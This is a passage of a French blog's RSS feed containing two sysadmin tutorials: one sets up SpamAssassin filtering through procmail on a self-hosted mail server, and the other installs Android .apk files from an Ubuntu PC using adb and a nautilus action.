		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1265</guid>
		<description><![CDATA[Pour continuer ma série d&#8217;articles sur l&#8217;auto-hébergement de ses mails, je vais présenter l&#8217;installation de SpamAssassin. Pour mon serveur mail (et plus généralement pour les outils que j&#8217;utilise), j&#8217;essaie de mettre en place uniquement ce dont j&#8217;ai besoin. Et jusqu&#8217;ici, je n&#8217;avais pas l&#8217;utilité d&#8217;un anti-spams, ne recevant aucun courrier indésirable. Mais depuis peu, j&#8217;en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/03/NO-SPAM.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/03/NO-SPAM.png" alt="" title="NO-SPAM" width="150" height="150" class="alignright size-full wp-image-1293" /></a><br />
Pour continuer ma série d&#8217;articles sur l&#8217;auto-hébergement de ses mails, je vais présenter l&#8217;installation de <em>SpamAssassin</em>.</p>
<p>Pour mon serveur mail (et plus généralement pour les outils que j&#8217;utilise), j&#8217;essaie de mettre en place uniquement ce dont j&#8217;ai besoin. Et jusqu&#8217;ici, je n&#8217;avais pas l&#8217;utilité d&#8217;un anti-spams, ne recevant aucun courrier indésirable. Mais depuis peu, j&#8217;en reçois un de temps en temps… C&#8217;est donc l&#8217;occasion de m&#8217;y mettre.</p>
<h3>Installation et configuration</h3>
<p>Il existe plusieurs méthodes, j&#8217;ai choisi la plus simple&nbsp;: c&#8217;est <em>procmail</em> qui fournit les mails à <em>SpamAssassin</em>.</p>
<p>Il faut tout d&#8217;abord <a href="http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/">installer et configurer procmail</a>, puis installer le paquet <a href="apt://spamassassin">spamassassin</a>&nbsp;:</p>
<pre>sudo apt-get install spamassassin</pre>
<p>Ensuite, rajouter dans <code>~/.procmailrc</code> la règle suivante (copiée de <a href="http://spamassassin.apache.org/full/3.0.x/dist/procmailrc.example">la doc</a>)&nbsp;:</p>
<pre># Pipe the mail through spamassassin (replace 'spamassassin' with 'spamc'
# if you use the spamc/spamd combination)
#
# The condition line ensures that only messages smaller than 250 kB
# (250 * 1024 = 256000 bytes) are processed by SpamAssassin. Most spam
# isn't bigger than a few k and working with big messages can bring
# SpamAssassin to its knees.
#
# The lock file ensures that only 1 spamassassin invocation happens
# at 1 time, to keep the load down.
#
:0fw: spamassassin.lock
* &lt; 256000
| spamassassin</pre>
<p>Enfin, éditer <code>/etc/spamassassin/local.cf</code>.</p>
<p>Pour uniquement ajouter les en-têtes de spam (ce qui est suffisant pour filtrer), il faut changer la valeur de <code>report_safe</code>&nbsp;:</p>
<pre>report_safe 0</pre>
<p>Pour ajouter un tag dans le sujet d&#8217;un mail considéré comme un spam&nbsp;:</p>
<pre>rewrite_header Subject *****SPAM*****</pre>
<p>Il est également possible de configurer le score requis pour qu&#8217;un mail soit considéré comme un spam. Plus cette valeur est faible, plus le filtre est agressif.<br />
La valeur par défaut (5.0) est un peu faible, je vous conseille d&#8217;augmenter un peu si vous voulez limiter les faux-positifs&nbsp;:</p>
<pre>required_score 6.0</pre>
<p>Rajouter éventuellement les lignes suivantes&nbsp;:</p>
<pre># Langues attendues (les autres auront un score plus élevé)
ok_languages fr

# Rapports en français
lang fr</pre>
<p>Pour ajouter un expéditeur en liste blanche, rajouter&nbsp;:</p>
<pre>whitelist_from any@mail.com</pre>
<h3>Test</h3>
<p>Pour tester, le plus simple est de mettre un filtre très sévère, par exemple avec un score négatif&nbsp;:</p>
<pre>required_score -2</pre>
<p>En m&#8217;envoyant un mail à moi-même qui contient comme sujet <em>test</em>, je constate à la réception que les en-têtes ont été modifiés&nbsp;:</p>
<pre>Subject: *****SPAM***** test
Date: Thu, 25 Mar 2010 21:19:52 +0100
Message-Id: &lt;1269548392.9798.9.camel@rom-laptop>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on rom-eeebox
X-Spam-Level: ***
X-Spam-Status: Yes, score=3.9 required=-2.0 tests=ALL_TRUSTED,</pre>
<p>Le mail a bien été détecté comme un spam. Ça fonctionne.</p>
<h3>Filtrage</h3>
<p>Maintenant que les spams sont détectés, il faut les traiter (les déplacer dans un dossier prévu à cet effet).</p>
<p>Il suffit pour cela de créer un dossier sur le serveur&nbsp;:</p>
<pre>maildirmake.dovecot ~/Maildir/.Spams</pre>
<p>et d&#8217;ajouter la règle suivante dans <codttte>~/.procmailrc (<a href="http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/">plus d&#8217;infos</a>)&nbsp;:</p>
<pre>:0
* ^X-Spam-Status: Yes
.Spams/</pre>
<h3>Conclusion</h3>
<p>Les spams auront maintenant un peu plus de mal à se glisser dans ma boîte mail.</p>
<p>La configuration présentée ici est vraiment minimale. Selon son efficacité il faudra peut-être l&#8217;affiner.</p>
<h3>Voir aussi</h3>
<p>Mes précédents billets sur l&#8217;auto-hébergement des mails&nbsp;:<br />
<a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">Hébergez vos mails sur Ubuntu Server (et libérez-vous)</a><br />
<a href="http://blog.rom1v.com/2009/11/installer-un-webmail-roundcube-sur-ubuntu-server/">Installer un webmail (RoundCube) sur Ubuntu Server</a><br />
<a href="http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail/">Ajouter l’authentification SMTP sur un serveur mail</a><br />
<a href="http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/">Trier ses mails directement sur le serveur (procmail)</a></codttte></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Installer une application .apk sur Android à partir d&#8217;un PC</title>
		<link>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/</link>
		<comments>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 11:12:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1207</guid>
		<description><![CDATA[J&#8217;expliquais, lors de mes premières impressions d&#8217;Android 2 sur le Motorola Milestone, qu&#8217;il était impossible d&#8217;installer un fichier .apk sans accepter les conditions d&#8217;utilisation du market ni configurer un compte gmail. C&#8217;est en fait possible, grâce à l&#8217;outil adb du SDK Android, à partir la connexion USB de l&#8217;ordinateur. Configurer le téléphone Pour que l&#8217;outil [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;expliquais, lors de <a href="http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions/">mes premières impressions d&#8217;Android 2 sur le Motorola Milestone</a>, qu&#8217;il était impossible d&#8217;installer un fichier <code>.apk</code> sans accepter les conditions d&#8217;utilisation du <em>market</em> ni configurer un compte <em>gmail</em>.</p>
<p>C&#8217;est en fait possible, grâce à l&#8217;outil <code>adb</code> du SDK Android, à partir la connexion USB de l&#8217;ordinateur.</p>
<h3>Configurer le téléphone</h3>
<p>Pour que l&#8217;outil d&#8217;installation puisse fonctionner, il faut activer l&#8217;option <em>Paramètres > Applications > Développement > Débogage USB</em> sur le téléphone.</p>
<h3>Configurer l&#8217;ordinateur</h3>
<p>Il faut télécharger <a href="http://developer.android.com/sdk/index.html">Android SDK</a>, malheureusement <a href="http://developer.android.com/sdk/terms.html">non libre</a>.</p>
<p>Sous GNU/Linux (plus précisément <em>Ubuntu 9.10</em>, adaptez selon votre distribution), voici comment l&#8217;installer et permettre la reconnaissance du Motorola Milestone (<a href="http://d.android.com/guide/developing/device.html">plus d&#8217;infos ici</a>)&nbsp;:</p>
<pre>sudo tar xzf android-sdk_r07-linux_x86.tgz -C /opt
sudo ln -s /opt/android-sdk-linux_x86/tools/adb /usr/local/bin
echo 'SUBSYSTEM=="usb", SYSFS{idVendor}=="22b8", MODE="0666"' | sudo tee /etc/udev/rules.d/51-android.rules
sudo service udev reload</pre>
<p>Si vous utilisez un système 64 bits, vous aurez besoin également besoin de <a href="apt://ia32-libs">ia32-libs</a>&nbsp;:</p>
<pre>sudo apt-get install ia32-libs</pre>
<p>Vous pouvez maintenant brancher votre téléphone sur le PC en USB. Pour vérifier que tout fonctionne&nbsp;:</p>
<pre>$ adb devices
List of devices attached
040140621600C00D	device</pre>
<h3>Installer une application</h3>
<h4>En ligne de commande</h4>
<p>Pour installer une application à partir de l&#8217;ordinateur, rien de plus simple&nbsp;:</p>
<pre>$ adb install -r ConnectBot-svn-r466-all.apk
2343 KB/s (642578 bytes in 0.267s)
	pkg: /data/local/tmp/ConnectBot-svn-r466-all.apk
Success</pre>
<p>(<em><code>-r</code> permet d&#8217;écraser si l&#8217;application est déjà installée</em>)</p>
<h4>À partir d&#8217;un gestionnaire de fichiers</h4>
<p>Vous pouvez ensuite ajouter la possibilité d&#8217;installer les <code>.apk</code> graphiquement à partir de votre gestionnaire de fichiers. Si vous utilisez <strong>nautilus</strong>, vous pouvez jouer avec <a href="http://doc.ubuntu-fr.org/nautilus-actions">nautilus-actions</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/01/install-apk.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/01/install-apk-245x300.png" alt="" title="install-apk" width="245" height="300" class="aligncenter size-medium wp-image-1212" /></a><br />
Voici la commande de mon action nautilus (j&#8217;ouvre un xterm pour avoir le résultat de l&#8217;installation, si vous avez mieux, n&#8217;hésitez pas)&nbsp;:</p>
<pre>xterm -T adb -e 'cd "%d" &#038;&#038; /usr/local/bin/adb install -r "%f"; sleep 5'</pre>
<h3>Conclusion</h3>
<p>J&#8217;ai réinitialisé mon téléphone, il n&#8217;a plus de compte <em>gmail</em> associé et je n&#8217;ai pas accepté les conditions du <em>market</em>, ce qui ne m&#8217;empêche donc plus d&#8217;installer les applications dont j&#8217;ai besoin.</p>
<p>Même pour ceux qui veulent garder leur compte ou utiliser le <em>market</em>, c&#8217;est quand même plus rapide d&#8217;installer un <code>.apk</code> grâce à un clic-droit, <em>&laquo;&nbsp;installer&nbsp;&raquo;</em> à partir du gestionnaire de fichiers plutôt que de copier le <code>.apk</code> sur la carte SD, débrancher le câble USB, aller dans une appli qui va chercher le fichier et cliquer sur <em>&laquo;&nbsp;installer&nbsp;&raquo;</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>

